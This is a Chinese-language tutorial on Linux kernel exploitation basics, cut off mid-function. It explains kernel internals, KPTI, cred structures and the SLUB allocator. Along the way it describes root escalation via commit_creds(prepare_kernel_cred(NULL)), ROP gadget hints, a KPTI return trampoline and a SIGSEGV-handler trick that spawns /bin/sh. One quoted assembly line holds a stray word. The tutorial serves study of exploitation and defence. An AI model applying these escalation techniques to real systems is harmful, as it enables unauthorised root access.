linux kernel pwn 基础知识
驱动程序设备驱动文件系统驱动内核拓展模块LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。模块通常用来实现一种文件系统,一个驱动程序或者其
基础知识
内核概述
内核架构
通常来说我们可以把内核架构分为两种:宏内核和微内核,现在还有一种内核是混合了宏内核与微内核的特性,称为混合内核。
- 宏内核(Monolithic kernel),也译为集成式内核、单体式内核,一种操作系统内核架构,此架构的特性是整个内核程序是一个单一二进制可执行文件,在内核态以监管者模式(Supervisor Mode)来运行。相对于其他类型的操作系统架构,如微内核架构或混合内核架构等,这些内核会定义出一个高端的虚拟接口,由该接口来涵盖描述整个电脑硬件,这些描述会集合成一组硬件描述用词,有时还会附加一些系统调用,如此可以用一个或多个模块来实现各种操作系统服务,如进程管理、并发(Concurrency)控制、存储器管理等。
- .微内核(Micro Kernel),对于微内核而言,大部分的系统服务(如文件管理等)都被剥离于内核之外,内核仅仅提供最为基本的一些功能:底层的寻址空间管理、线程管理、进程间通信等。
linux 内核
kernel 最主要的功能有两点:
- 控制并与硬件进行交互
- 提供
application
能运行的环境
Linux
内核包含的内容:
- 系统调用接口:
SCI
层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构。 - 进程管理:进程的执行。在内核中,这些进程称为线程,代表了单独的处理器虚拟化(线程代码、数据、堆栈、CPU寄存器)。用户空间使用进程这个术语,但是
Linux
实现并没有区分这两个的概念(进程和线程),内核通过SCI
提供了一个应用程序编程接口API
,来创建一个新进程,停止进程,并在他们之间进行通信和同步。进程管理还包括处理获得进程之间共享CPU
的需求。内核实现了一种新型的调度算法,不管有多少个线程在竞争CPU
,这种算法都可以在固定时间内进行操作。调度程序也可以支持处理器(称为对称多处理器或SMP
); - 内存管理:如果由硬件管理虚拟内存,内存是按照所谓的内存页方式进行管理的(4KB),
Linux
包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。但是内存管理要管理的可不止4KB
缓冲区。Linux
提供了对4KB
缓冲区的抽象,例如slab
分配器。这种内存管理模式使用的是4KB
缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存是满的,哪些页面没有完全使用,哪些页面为空。由于这个原因,页面可以移除内存并放入磁盘中。这个过程叫交换,因为页面会被从内存交换到硬盘上。Linux
系统中,被用于交换的分区叫swap
分区,在windows
下叫做虚拟内存。 - 文件系统:虚拟文件系统(VFS)是
Linux
内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFS
在SCI
和内核所支持的文件系统做了一个交换层。在VFS
上面,是对oepn
,close
之类的函数的一个通用API
抽象。在VFS
下面是文件系统抽象,它定义了上层函数的实现方式。 - 网络管理:网络堆栈在设计上遵循模拟协议本身的分层体系结构
- 设备驱动:
Linux
内核中有大量代码都在设备驱动程序中,它们能够运转特定的硬件设备。Linux
源码提供了一个驱动程序子目录,这个目录又进一步划分为各种支持设备,例如Bluetooth
,I2C
,serial
等。
不同于Windows NT内核和Mach(Mac OS X 的组成部分)的微内核结构,linux内核采用的是单内核结构,效率高,但是体积大。
内核态函数调用
printf
变更为printk()
,但需要注意的是printk()
不一定会把内容显示在终端上,当一定是在内核缓冲区里,可以通过dmesg
查看效果。memcpy
变更为copy_from_user()/copy_to_user()
copy_from_user()
将用户空间的数据传送到内核空间copy_to_user()
实现将内核空间的数据传送到用户空间- 注意:
copy_xxx_user()
成功返回 0,失败则返回没有拷贝成功的数据字节数
malloc()
变更为kmalloc()
,内核态的内存分配函数,和malloc
相似,但使用slab,slub
分配器,这个分配器通过一个多级的结构进行管理。- 首先有
cache
层,cache
是一个结构,也就是用来分配或者已经分配的一部分内核空间。kmalloc
使用多个cache
,一个cache
对应一个 2 的幂的大小的一组内存对象。slab
分配器严格按照cache
去区分,不同的cache
无法分配在一页内,slub
分配器则较为宽松,不同的cache
如果分配相同大小,可能会在一页内。
- 首先有
free
变更为kfree()
,同kmalloc()
。
Ring Model
基本概念
intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0
, Ring 1
, Ring 2
, Ring 3
。
大多数的现代操作系统只使用了 Ring 0
和 Ring 3
。
- 内核空间运行在Ring 0特权等级,拥有自己的空间,位于内存的高地址。
- 用户空间则是我们平时应用程序运行的空间,运行在Ring 3特权等级,使用较低地址。
中断
中断即硬件/软件向 CPU
发送的特殊信号,CPU
接收到中断后会停下当前工作转而执行中断处理程序,完成后恢复原工作流程
中断向量表(interrupt vector table)类似一个虚表,该表通常位于物理地址 0~1k处,其中存放着不同中断号对应的中断处理程序的地址
自保护模式起引入中断描述符表(Interrupt Descriptor Table)用以存放 「门描述符」(gate descriptor),中断描述符表地址存放在 IDTR
寄存器中,CPU 通过中断描述符表访问对应门
「门」(gate)可以理解为中断的前置检查物件,当中断发生时会先通过这些「门」,主要有如下三种门:
- 中断门(
Interrupt gate
):用以进行硬中断处理,其类型码为110
;中断门的DPL
(Descriptor Priviledge Level)为 0,故只能在内核态下访问,即中断处理程序应当由内核激活;进入中断门会清除IF
标志位以关闭中断,防止中断嵌套的发生 - 陷阱门(
Trap gate
):类型码为111
,类似于中断门,主要用以处理CPU
异常,但不会清除IF
标志位。 - 系统门(
System gate
):Linux
特有门,类型码为 3、4、5、128;其 DPL 为 3,用以供用户进程访问,主要用以进行系统调用(int 0x80)。
用户态->内核态
当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:
- 通过
swapgs
切换GS
段寄存器,将GS
寄存器值和一个特定位置的值进行交换,目的是为了保存GS
值,同时将该位置的值作为内核执行时的GS
值使用。GS
寄存器的作用是访问 CPU 特定的内存。
- 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入
RSP/ESP
。 - 通过
push
保存各寄存器值,具体代码如下:ENTRY(entry_SYSCALL_64) /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */ SWAPGS_UNSAFE_STACK /* 保存栈值,并设置内核栈 */ movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp /* 通过push保存寄存器值,形成一个pt_regs结构 */ /* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx tuichu /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
- 通过汇编指令判断是否为
x32_abi
。(linux 32 位内核) - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
内核态->用户态
具体流程如下:
- 通过
swapgs
恢复GS
值 - 通过
sysretq
或者iretq
恢复到用户空间继续执行。如果使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等),即trap_frame
。
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
对于开启了 KPTI
(内核页表隔离),我们不能像之前那样直接 swapgs; iret
返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来
众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作
需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局
KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式
除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S
中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode
,地址可以在 /proc/kallsyms
中获得。
swapgs_restore_regs_and_return_to_usermode
定义如下:
0xffffffff81c00fb0 <swapgs_restore_regs_and_return_to_usermode>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81c00fb5 <swapgs_restore_regs_and_return_to_usermode+5>: pop r15
0xffffffff81c00fb7 <swapgs_restore_regs_and_return_to_usermode+7>: pop r14
0xffffffff81c00fb9 <swapgs_restore_regs_and_return_to_usermode+9>: pop r13
0xffffffff81c00fbb <swapgs_restore_regs_and_return_to_usermode+11>: pop r12
0xffffffff81c00fbd <swapgs_restore_regs_and_return_to_usermode+13>: pop rbp
0xffffffff81c00fbe <swapgs_restore_regs_and_return_to_usermode+14>: pop rbx
0xffffffff81c00fbf <swapgs_restore_regs_and_return_to_usermode+15>: pop r11
0xffffffff81c00fc1 <swapgs_restore_regs_and_return_to_usermode+17>: pop r10
0xffffffff81c00fc3 <swapgs_restore_regs_and_return_to_usermode+19>: pop r9
0xffffffff81c00fc5 <swapgs_restore_regs_and_return_to_usermode+21>: pop r8
0xffffffff81c00fc7 <swapgs_restore_regs_and_return_to_usermode+23>: pop rax
0xffffffff81c00fc8 <swapgs_restore_regs_and_return_to_usermode+24>: pop rcx
0xffffffff81c00fc9 <swapgs_restore_regs_and_return_to_usermode+25>: pop rdx
0xffffffff81c00fca <swapgs_restore_regs_and_return_to_usermode+26>: pop rsi
0xffffffff81c00fcb <swapgs_restore_regs_and_return_to_usermode+27>: mov rdi,rsp
0xffffffff81c00fce <swapgs_restore_regs_and_return_to_usermode+30>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81c00fd7 <swapgs_restore_regs_and_return_to_usermode+39>: push QWORD PTR [rdi+0x30]
0xffffffff81c00fda <swapgs_restore_regs_and_return_to_usermode+42>: push QWORD PTR [rdi+0x28]
0xffffffff81c00fdd <swapgs_restore_regs_and_return_to_usermode+45>: push QWORD PTR [rdi+0x20]
0xffffffff81c00fe0 <swapgs_restore_regs_and_return_to_usermode+48>: push QWORD PTR [rdi+0x18]
0xffffffff81c00fe3 <swapgs_restore_regs_and_return_to_usermode+51>: push QWORD PTR [rdi+0x10]
0xffffffff81c00fe6 <swapgs_restore_regs_and_return_to_usermode+54>: push QWORD PTR [rdi]
0xffffffff81c00fe8 <swapgs_restore_regs_and_return_to_usermode+56>: push rax
0xffffffff81c00fe9 <swapgs_restore_regs_and_return_to_usermode+57>: xchg ax,ax
0xffffffff81c00feb <swapgs_restore_regs_and_return_to_usermode+59>: mov rdi,cr3
0xffffffff81c00fee <swapgs_restore_regs_and_return_to_usermode+62>: jmp 0xffffffff81c01024
0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>: or rdi,0x1000
0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>: mov cr3,rdi
0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>: pop rax
0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>: pop rdi
0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>: swapgs
0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>: jmp 0xffffffff81c01060 <native_iret>
0xffffffff81c01060 <native_iret>: test BYTE PTR [rsp+0x20],0x4
0xffffffff81c01065 <native_iret+5>: jne 0xffffffff81c01069 <native_irq_return_ldt>
0xffffffff81c01067 <native_irq_return_iret>: iretq
大概操作如下:
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
前面对寄存器赋值的操作与 pt_regs
结构体对应
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
另外如果找不到 swapgs_restore_regs_and_return_to_usermode
函数可以把 get_shell
函数注册为 SIGSEGV
信号处理函数,然后再用 swapgs + iretq 的方式返回。当出现异常时会跳转到 get_shell
函数继续执行,这样就完成了用户态的返回。
signal(SIGSEGV, (void (*)(int)) get_shell);
上面这段代码本质就是在程序的段错误信号注册了一个 get_shell
回调函数。开启 KPIT 后 swapgs + iretq 的方式返回位切换页表,执行用户空间代码触发段错误回调 get_shell
函数。而回调 get_shell
函数前也会有系统态到用户态的切换,此时完成了页表和栈的正确切换(栈 0x10 对齐),确保执行 get_shell
函数不会出问题。
#include <stdlib.h>
#include <signal.h>
void get_shell() {
system("/bin/sh");
}
int main() {
signal(SIGSEGV, (void (*)(int)) get_shell);
*(size_t *) 0x114514 = 0x1919810;
return 0;
}
关于 syscall
系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。
Int $0x80
指令的目的是产生一个编号为128的编程异常,这个编程异常对应的是中断描述符表 IDT 中的第 128 项——也就是对应的系统门描述符。门描述符中含有一个预设的内核空间地址,它指向系统调用处理程程序:system_call()
。
进程权限管理
注意到 task_struct
的源码中有如下代码:
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred
结构体进行标识,对于一个进程而言应当有三个 cred
:
ptracer_cred
: 使用ptrace
系统调用跟踪该进程的上级进程的cred
( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。real_cred
:即客体凭证(objective cred),通常是一个进程最初启动时所具有的权限。cred
:即主体凭证(subjective cred),该进程的有效cred
,kernel 以此作为进程权限的凭证。
进程权限凭证: cred
结构体
对于一个进程,在内核当中使用一个结构体 cred
管理其权限,该结构体定义于内核源码 include/linux/cred.h
中,如下:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
我们主要关注 cred
结构体中管理权限的变量
用户 ID 和组 ID
一个 cred
结构体中记载了一个进程四种不同的用户 ID:
- 用户真实 ID(
real UID
):标识一个进程启动时的用户 ID - 保存用户 ID(
saved UID
):标识一个进程最初的有效用户 ID - 有效用户 ID(
effective UID
):标识一个进程正在运行时所属的用户 ID - 文件系统用户 ID(
UID for VFS ops
):标识一个进程创建文件时进行标识的用户 ID
通常情况下这四个值都是相同的。
用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。
提权
通过前面我们可以知道,只要我们改变一个进程的 cred
结构体,就能改变其执行权限。
内核空间下面有两个函数,都位于 kernel/cred.c
中:
struct cred* prepare_kernel_cred(struct task_struct* daemon)
:该函数用以拷贝一个进程的cred
结构体,并返回一个新的cred
结构体,需要注意的是daemon
参数应为有效的进程描述符地址或者 NULL 。int commit_creds(struct cred *new)
:该函数用以将一个新的cred
结构体应用到进程。
查看prepare_kernel_cred()
函数源码,观察到如下逻辑:
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
...
在 prepare_kernel_cred()
函数中,若传入的参数为 NULL ,则会缺省使用 init
进程的 cred
作为模板进行拷贝,即可以直接获得一个标识着 root 权限的 cred 结构体。那么我们不难想到,只要我们能够在内核空间执行 commit_creds(prepare_kernel_cred(NULL))
,那么就能够将进程的权限提升到 root。
如果进行 ROP 提权有一个难点就是寻找将 rax 赋值给 rdi 的 gadget 。可以尝试搜索 xchg rax, rdi
,push rax; pop rdi
,mov rdi, rax
等 gadget 。
另外 init_cred
是在内核当中有一个特殊的 cred
,它是 init
进程的 cred
,因此其权限为 root ,且该 cred
并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred
的地址,那么我们就只需要执行一次 commit_creds(&init_cred)
便能完成提权,不过有些内核中没有 init_cred
(实际上多数情况是由于缺少符号找不到 init_cred
,因此需要逆向分析 prepare_kernel_cred
函数来定位 init_cred
)。
IO
UNIX/Linux 追求高层次抽象上的统一,其设计哲学之一便是万物皆文件。
万物皆文件
UNIX/Linux 设计的哲学之一 —— 万物皆文件,在 Linux 系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作:
通过这种哲学,Linux提供了操作的同一性:
- 所有的读取操作都可以通过
read
进行 - 所有的更改操作都可以通过
write
进行
进程文件系统
用以描述一个进程,其中包括一个该进程所打开的文件描述符、堆栈内存布局、环境变量等
进程文件系统本身是一个伪文件系统,通常被挂载到 /proc
目录下,并不真正占用存储,而是占用一定的内存
当一个进程被建立起来时,其进程文件系统便会挂载到 /proc/[PID]
下,我们可以在该目录下查看其相关信息。
文件描述符
进程通过文件描述符来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符。
每个进程都独立有着一个文件描述符表,存放着该进程所打开的文件索引,每当进程成功打开一个现有文件/创建一个新文件时(通过系统调用 open
进行操作),内核会向进程返回一个文件描述符。
在 kernel 中有着一个文件表,由所有的进程共享。
每个 *NIX
进程都应当有着三个标准的 POSIX 文件描述符,对应着三个标准文件流:
stdin
:标准输入 = 0stdout
:标准输出 = 1stderr
:标准错误 = 2
后面打开的文件描述符应当从标号 3 起始。
系统调用:ioctl
在*NIX
中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux
定义了系统调用ioctl
供进程与设备之间进行通信
系统调用ioctl
是一个用于设备输入输出操作的一个系统调用,调用方式如下:
int ioctl(int fd,unsigned long request, ...)
fd
:设备的文件描述符request
:请求码- 其他参数
对于一个提供了ioctl通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作
例如CD-ROM驱动程序弹出光驱的这一操作就对应着对“光驱设备”这一文件通过ioctl传递特定的请求码与请求参数完成
内存管理
具体分析见 linux 内核内存管理 。
物理内存
线性映射区是 linux 内核中的一个特殊的内存区域,这块内存映射是物理机上的所有物理内存。
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
vmemmap
是一个虚拟 page
数组,存放了 linux 所有物理页对应的 page
。
page
数组,线性映射区和物理内存三者是线性映射的关系。
buddy system
buddy system 中内存管理的一个例子:
这个例子中,分配的最小单位是64K,初始时的最大块order=4. 依次进行下面的操作
- 初始状态
- 分配块A 34K, order=0.
- 没有order为0的块,切分order=4的块为2个order=3的块.
- 仍然没有order=0的块,再切分order=3的块.
- 仍然没有order=0的块,再切分order=2的块.
- 仍然没有order=0的块,再切分order=1的块.
- 将order=0的块返回.
- 分配块B 66K, order=1. 已经有了,直接返回.
- 分配块C 35K, order=0. 也已经有了,直接返回.
- 分配块D 67K, order=1. 切分一个order=2的块,返回.
- 块B释放.
- 块D释放,因为与其后面的order=1的块是第5步分裂得来的,再将其合并为order=2的块.
- 块A释放.
- 块C释放,依次合并.
slub
关于 object
slab 以页为基本单位切割,然后用单向链表(fd指针)串起来,类似用户态堆的 fastbin,每一个小块我们叫它 object 。
注意:object 的 freelist 指针偏移是 kmem_cache.offset 而不是 0,虽然大多数情况 kmem_cache.offset 默认为 0 。
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;
#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif
*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}
object 结构如下图所示:
kmem_cache 创建
slub 分配器把伙伴系统提供的内存内存切割成特定大小的块,进行内核的小内存分配。
具体来说,内核会预先定义一些 kmem_cache
结构体,它保存着要如何分割使用内存页的信息,可以通过 cat /proc/slabinfo
查看系统当前可用的 kmem_cache
。
内核很多的结构体会频繁的申请和释放内存,用 kmem_cache
来管理特定的结构体所需要申请的内存效率上就会比较高,也比较节省内存。默认会创建 kmalloc-8k
,kmalloc-4k
,… ,kmalloc-16
,kmalloc-8
这样的 cache ,kmem_cache
的名称以及大小使用 struct kmalloc_info_struct
管理。
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
{NULL, 0}, {"kmalloc-96", 96},
{"kmalloc-192", 192}, {"kmalloc-8", 8},
{"kmalloc-16", 16}, {"kmalloc-32", 32},
{"kmalloc-64", 64}, {"kmalloc-128", 128},
{"kmalloc-256", 256}, {"kmalloc-512", 512},
{"kmalloc-1024", 1024}, {"kmalloc-2048", 2048},
{"kmalloc-4096", 4096}, {"kmalloc-8192", 8192},
{"kmalloc-16384", 16384}, {"kmalloc-32768", 32768},
{"kmalloc-65536", 65536}, {"kmalloc-131072", 131072},
{"kmalloc-262144", 262144}, {"kmalloc-524288", 524288},
{"kmalloc-1048576", 1048576}, {"kmalloc-2097152", 2097152},
{"kmalloc-4194304", 4194304}, {"kmalloc-8388608", 8388608},
{"kmalloc-16777216", 16777216}, {"kmalloc-33554432", 33554432},
{"kmalloc-67108864", 67108864}
};
这样内核调用 kmalloc
函数时就可以根据申请的内存大小找到对应的 kmalloc-xx
,然后在里面找可可用的内存块。
static __always_inline int kmalloc_index(size_t size)
{
if (!size)
return 0;
if (size <= KMALLOC_MIN_SIZE)
return KMALLOC_SHIFT_LOW;
if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
return 1;
if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
return 2;
if (size <= 8) return 3;
if (size <= 16) return 4;
if (size <= 32) return 5;
if (size <= 64) return 6;
if (size <= 128) return 7;
if (size <= 256) return 8;
if (size <= 512) return 9;
if (size <= 1024) return 10;
if (size <= 2 * 1024) return 11;
if (size <= 4 * 1024) return 12;
if (size <= 8 * 1024) return 13;
if (size <= 16 * 1024) return 14;
if (size <= 32 * 1024) return 15;
if (size <= 64 * 1024) return 16;
if (size <= 128 * 1024) return 17;
if (size <= 256 * 1024) return 18;
if (size <= 512 * 1024) return 19;
if (size <= 1024 * 1024) return 20;
if (size <= 2 * 1024 * 1024) return 21;
if (size <= 4 * 1024 * 1024) return 22;
if (size <= 8 * 1024 * 1024) return 23;
if (size <= 16 * 1024 * 1024) return 24;
if (size <= 32 * 1024 * 1024) return 25;
if (size <= 64 * 1024 * 1024) return 26;
/* Will never be reached. Needed because the compiler may complain */
return -1;
}
创建默认的 kmem_cache
过程存在如下调用链:
x86_64_start_kernel()
x86_64_start_reservations()
start_kernel()
mm_init()
kmem_cache_init()
create_kmalloc_caches()
new_kmalloc_cache()
在 new_kmalloc_cache
中根据 kmalloc_info
的信息创建对应的 kmalloc_cache
。
static void __init
new_kmalloc_cache(int idx, int type, slab_flags_t flags)
{
const char *name;
if (type == KMALLOC_RECLAIM) {
flags |= SLAB_RECLAIM_ACCOUNT;
name = kmalloc_cache_name("kmalloc-rcl",
kmalloc_info[idx].size);
BUG_ON(!name);
} else {
name = kmalloc_info[idx].name;
}
kmalloc_caches[type][idx] = create_kmalloc_cache(name,
kmalloc_info[idx].size, flags, 0,
kmalloc_info[idx].size);
}
这里可以看到默认创建的 kmem_cache
的地址被保存在 kmalloc_caches
因此可以通过该结构获得 kmem_cache
的地址,从而获取到重要调试信息,比如 freelist
在 object
中的偏移 offset
。
create_kmalloc_cache
函数调用了核心函数 create_boot_cache
,之后 list_add
将创建的 kmem_cache
加入到 slab_caches
链表中。内核全局有一个 slab_caches
变量,它是一个链表,系统所有的 kmem_cache
都接在这个链表上。
struct kmem_cache *__init create_kmalloc_cache(const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT);
if (!s)
panic("Out of memory when creating slab %s\n", name);
create_boot_cache(s, name, size, flags, useroffset, usersize);
list_add(&s->list, &slab_caches);
memcg_link_cache(s);
s->refcount = 1;
return s;
}
create_boot_cache
初始化了相关信息,之后调用 __kmem_cache_create
。
void __init create_boot_cache(struct kmem_cache *s, const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
int err;
s->name = name;
s->size = s->object_size = size;
s->align = calculate_alignment(flags, ARCH_KMALLOC_MINALIGN, size);
s->useroffset = useroffset;
s->usersize = usersize;
slab_init_memcg_params(s);
err = __kmem_cache_create(s, flags);
if (err)
panic("Creation of kmalloc slab %s size=%u failed. Reason %d\n",
name, size, err);
s->refcount = -1; /* Exempt from merging for now */
}
__kmem_cache_create
调用了 kmem_cache_open
函数,该函数做了很多重要的初始化操作。
/*
* calculate_sizes() determines the order and the distribution of data within
* a slab object.
*/
static int calculate_sizes(struct kmem_cache *s, int forced_order)
{
slab_flags_t flags = s->flags;
unsigned int size = s->object_size;
unsigned int order;
/*
* Round up object size to the next word boundary. We can only
* place the free pointer at word boundaries and this determines
* the possible location of the free pointer.
*/
size = ALIGN(size, sizeof(void *));
#ifdef CONFIG_SLUB_DEBUG
/*
* Determine if we can poison the object itself. If the user of
* the slab may touch the object after free or before allocation
* then we should never poison the object itself.
*/
if ((flags & SLAB_POISON) && !(flags & SLAB_TYPESAFE_BY_RCU) &&
!s->ctor)
s->flags |= __OBJECT_POISON;
else
s->flags &= ~__OBJECT_POISON;
/*
* If we are Redzoning then check if there is some space between the
* end of the object and the free pointer. If not then add an
* additional word to have some bytes to store Redzone information.
*/
if ((flags & SLAB_RED_ZONE) && size == s->object_size)
size += sizeof(void *);
#endif
/*
* With that we have determined the number of bytes in actual use
* by the object. This is the potential offset to the free pointer.
*/
s->inuse = size;
if (((flags & (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) ||
s->ctor)) {
/*
* Relocate free pointer after the object if it is not
* permitted to overwrite the first word of the object on
* kmem_cache_free.
*
* This is the case if we do RCU, have a constructor or
* destructor or are poisoning the objects.
*/
s->offset = size;
size += sizeof(void *);
}
#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_STORE_USER)
/*
* Need to store information about allocs and frees after
* the object.
*/
size += 2 * sizeof(struct track);
#endif
kasan_cache_create(s, &size, &s->flags);
#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_RED_ZONE) {
/*
* Add some empty padding so that we can catch
* overwrites from earlier objects rather than let
* tracking information or the free pointer be
* corrupted if a user writes before the start
* of the object.
*/
size += sizeof(void *);
s->red_left_pad = sizeof(void *);
s->red_left_pad = ALIGN(s->red_left_pad, s->align);
size += s->red_left_pad;
}
#endif
/*
* SLUB stores one object immediately after another beginning from
* offset 0. In order to align the objects we have to simply size
* each object to conform to the alignment.
*/
size = ALIGN(size, s->align);
s->size = size;
if (forced_order >= 0)
order = forced_order;
else
order = calculate_order(size);
if ((int)order < 0)
return 0;
s->allocflags = 0;
if (order)
s->allocflags |= __GFP_COMP;
if (s->flags & SLAB_CACHE_DMA)
